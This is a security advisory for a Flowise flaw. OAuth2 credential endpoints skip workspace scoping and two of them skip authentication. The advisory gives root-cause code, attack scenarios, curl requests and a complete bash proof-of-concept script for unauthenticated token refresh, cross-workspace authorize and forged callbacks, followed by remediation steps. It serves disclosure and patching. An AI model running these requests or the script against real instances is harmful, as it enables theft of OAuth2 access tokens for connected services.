Summary

Three OAuth2 credential endpoints look up credentials by id alone with no workspaceId filter. Two of these endpoints (callback, refresh) are whitelisted from all authentication. This allows:

1. Cross-workspace credential access — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces.
2. Unauthenticated token injection — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential.
3. Unauthenticated token refresh — An unauthenticated attacker can refresh tokens for any credential.

Root Cause

Vulnerable code: no workspace scoping

All three OAuth2 handlers query the Credential table by id only:

packages/server/src/routes/oauth2/index.ts:80-82 (authorize)

const credential = await credentialRepository.findOneBy({
    id: credentialId
    // Missing: workspaceId filter
})

packages/server/src/routes/oauth2/index.ts:183-185 (callback)

const credential = await credentialRepository.findOneBy({
    id: state as string
    // Missing: workspaceId filter
})

packages/server/src/routes/oauth2/index.ts:314-316 (refresh)

const credential = await credentialRepository.findOneBy({
    id: credentialId
    // Missing: workspaceId filter
})

Correct pattern (same codebase)

The standard credential service correctly enforces workspace isolation:

packages/server/src/services/credentials/index.ts:130-132

const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
    id: credentialId,
    workspaceId: workspaceId  // <-- Workspace scoping present
})

Authentication bypass via whitelist

packages/server/src/utils/constants.ts:40-41

export const WHITELIST_URLS = [
    // ...
    '/api/v1/oauth2-credential/callback',   // line 40
    '/api/v1/oauth2-credential/refresh',     // line 41
    // ...
]

packages/server/src/index.ts:223-225 — prefix-matched whitelist skips all auth:

const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
if (isWhitelisted) {
    next()  // No JWT verification, no API key check
}

Attack Scenarios

Scenario A: Cross-Workspace Credential Metadata Leak

An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's client_id, scope, and redirect_uri.

POST /api/v1/oauth2-credential/authorize/<VICTIM_CREDENTIAL_UUID>
Cookie: connect.sid=<ATTACKER_SESSION>

Response:

{
  "success": true,
  "credentialId": "<VICTIM_CREDENTIAL_UUID>",
  "authorizationUrl": "https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID&scope=LEAKED_SCOPE&...",
  "redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback"
}

Scenario B: Unauthenticated Token Injection via Forged Callback

The callback endpoint requires no authentication and uses the state parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.

GET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=<VICTIM_CREDENTIAL_UUID>
(No authentication required)

The server exchanges the code at the credential's accessTokenUrl, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):

await credentialRepository.update(credential.id, {
    encryptedData,      // Contains attacker-controlled token data
    updatedDate: new Date()
})

Scenario C: Unauthenticated Token Refresh

An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored refresh_token, exchanges it at the accessTokenUrl, and returns fresh token metadata.

POST /api/v1/oauth2-credential/refresh/<VICTIM_CREDENTIAL_UUID>
(No authentication required)

Response:

{
  "success": true,
  "credentialId": "<VICTIM_CREDENTIAL_UUID>",
  "tokenInfo": {
    "access_token": "new-access-token-value",
    "token_type": "Bearer",
    "expires_in": 3600,
    "has_new_refresh_token": false,
    "expires_at": "2026-04-13T12:00:00.000Z"
  }
}

The fresh access_token is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.

Proof of Concept

Prerequisites

• A running Flowise instance with at least two workspaces (Workspace A and Workspace B)
• An OAuth2 credential configured in Workspace B (the victim)
• The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)

Step 1 — Confirm unauthenticated refresh endpoint is reachable

# No cookies, no Bearer token — completely unauthenticated
FLOWISE_URL="https://TARGET_INSTANCE"
VICTIM_CRED_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
  -H "Content-Type: application/json"

Expected result if credential exists and has a refresh token:

{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "tokenInfo": {
    "access_token": "<VALID_ACCESS_TOKEN>",
    "token_type": "Bearer",
    "expires_in": 3600,
    "has_new_refresh_token": false,
    "expires_at": "2026-04-13T..."
  }
}

Expected result if credential not found:

{
  "success": false,
  "message": "Credential not found"
}

Step 2 — Cross-workspace authorize (requires any valid session)

# Attacker is authenticated in Workspace A
# They target a credential UUID from Workspace B
ATTACKER_COOKIE="connect.sid=s%3A..."

curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
  -H "Cookie: ${ATTACKER_COOKIE}" \
  -H "Content-Type: application/json"

Expected result — victim credential's OAuth2 config is leaked:

{
  "success": true,
  "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "authorizationUrl": "https://login.microsoftonline.com/.../authorize?client_id=VICTIM_CLIENT_ID&scope=VICTIM_SCOPES&...",
  "redirectUri": "https://TARGET_INSTANCE/api/v1/oauth2-credential/callback"
}

Step 3 — Forge callback to inject attacker-controlled tokens

# Attacker sets up a rogue OAuth2 provider that returns crafted tokens,
# OR intercepts a legitimate flow.
# The state parameter is the victim credential UUID.

curl -s "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}"

The server POSTs the code to the credential's accessTokenUrl. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.

Full automated PoC script

#!/usr/bin/env bash
set -euo pipefail

# ---- Configuration ----
FLOWISE_URL="${1:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}"
VICTIM_CRED_ID="${2:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}"
ATTACKER_COOKIE="${3:-}"

echo "=== OAuth2 Cross-Workspace Credential Hijacking PoC ==="
echo "Target:     ${FLOWISE_URL}"
echo "Credential: ${VICTIM_CRED_ID}"
echo ""

# --- Attack Vector 1: Unauthenticated token refresh ---
echo "[1] Attempting unauthenticated token refresh..."
REFRESH_RESP=$(curl -s -w "\n%{http_code}" -X POST \
  "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
  -H "Content-Type: application/json")

HTTP_CODE=$(echo "${REFRESH_RESP}" | tail -1)
BODY=$(echo "${REFRESH_RESP}" | head -n -1)

if [ "${HTTP_CODE}" = "200" ]; then
  echo "[!] VULNERABLE — Unauthenticated token refresh succeeded"
  echo "    Response: ${BODY}" | head -c 500
  echo ""
elif echo "${BODY}" | grep -q "Credential not found"; then
  echo "[*] Credential not found (UUID may be invalid)"
elif echo "${BODY}" | grep -q "Missing required"; then
  echo "[*] Credential exists but has no refresh_token (no prior OAuth2 flow)"
  echo "    This still confirms the endpoint is reachable without auth"
else
  echo "[*] HTTP ${HTTP_CODE}: ${BODY}" | head -c 300
fi
echo ""

# --- Attack Vector 2: Cross-workspace authorize (needs session) ---
if [ -n "${ATTACKER_COOKIE}" ]; then
  echo "[2] Attempting cross-workspace authorize..."
  AUTH_RESP=$(curl -s -w "\n%{http_code}" -X POST \
    "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
    -H "Cookie: ${ATTACKER_COOKIE}" \
    -H "Content-Type: application/json")

  HTTP_CODE=$(echo "${AUTH_RESP}" | tail -1)
  BODY=$(echo "${AUTH_RESP}" | head -n -1)

  if [ "${HTTP_CODE}" = "200" ]; then
    echo "[!] VULNERABLE — Cross-workspace credential access confirmed"
    echo "    Leaked authorization URL:"
    echo "${BODY}" | python3 -m json.tool 2>/dev/null || echo "    ${BODY}" | head -c 500
  else
    echo "[*] HTTP ${HTTP_CODE}: ${BODY}" | head -c 300
  fi
else
  echo "[2] Skipped cross-workspace authorize (no attacker cookie provided)"
fi
echo ""

# --- Attack Vector 3: Confirm callback is unauthenticated ---
echo "[3] Confirming callback endpoint is unauthenticated..."
CALLBACK_RESP=$(curl -s -w "\n%{http_code}" \
  "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=poc_test_code&state=${VICTIM_CRED_ID}")

HTTP_CODE=$(echo "${CALLBACK_RESP}" | tail -1)

# Any response other than 401/403 confirms the endpoint is reachable without auth.
# A 400 with "token_exchange_failed" means the endpoint processed the request
# (tried to exchange the code) — it just failed at the external provider.
if [ "${HTTP_CODE}" = "401" ] || [ "${HTTP_CODE}" = "403" ]; then
  echo "[*] Callback endpoint returned ${HTTP_CODE} — auth is enforced (NOT vulnerable)"
else
  echo "[!] VULNERABLE — Callback endpoint reachable without auth (HTTP ${HTTP_CODE})"
  echo "    The server attempted to process the OAuth2 callback."
  echo "    With a valid authorization code, tokens would be written to the credential."
fi

echo ""
echo "=== PoC Complete ==="

Impact

Chained impact: An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider — without any authentication to the Flowise instance.

Affected Components

Remediation

1. Add workspaceId to all credential lookups in the OAuth2 routes, matching the pattern already used in services/credentials/index.ts:130-132:

// Before (vulnerable)
const credential = await credentialRepository.findOneBy({ id: credentialId })

// After (fixed)
const credential = await credentialRepository.findOneBy({
    id: credentialId,
    workspaceId: req.user?.activeWorkspaceId
})

2. Remove /callback and /refresh from WHITELIST_URLS or implement a signed, time-limited state token that authenticates the callback without a session.

3. Replace the state parameter with a cryptographically random nonce bound to the user's session (see also Finding 8).

4. Do not return access_token in the /refresh response body. The token should only be stored server-side in the encrypted credential data, never sent to the caller.

References

• GHSA-wch5-xp77-fxg4
• https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3